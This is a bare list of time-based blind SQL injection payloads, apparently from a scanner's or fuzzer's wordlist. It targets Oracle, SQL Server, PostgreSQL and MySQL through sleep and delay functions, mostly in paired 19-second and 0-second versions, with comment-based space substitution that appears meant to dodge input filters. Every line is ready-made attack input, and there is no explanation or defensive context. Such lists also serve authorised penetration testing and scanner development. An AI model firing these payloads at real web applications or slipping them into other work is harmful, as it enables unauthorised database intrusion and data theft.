123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('v',19)='v

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('t',0)='t

123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('b',19)

123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('b',0)

123456'and(select+1)>0waitfor/**/delay'0:0:19

123456'and(select+1)>0waitfor/**/delay'0:0:0

123456/**/and(select+1)>0waitfor/**/delay'0:0:19'/**/

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

123456'/**/and(select'1'from/**/pg_sleep(19))::text>'0

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

123456/**/and(select+1/**/from/**/pg_sleep(19))>0/**/

123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

123456"and(select*from(select+sleep(19))a/**/union/**/select+1)="

123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

123456'and(select*from(select+sleep(19))a/**/union/**/select+1)='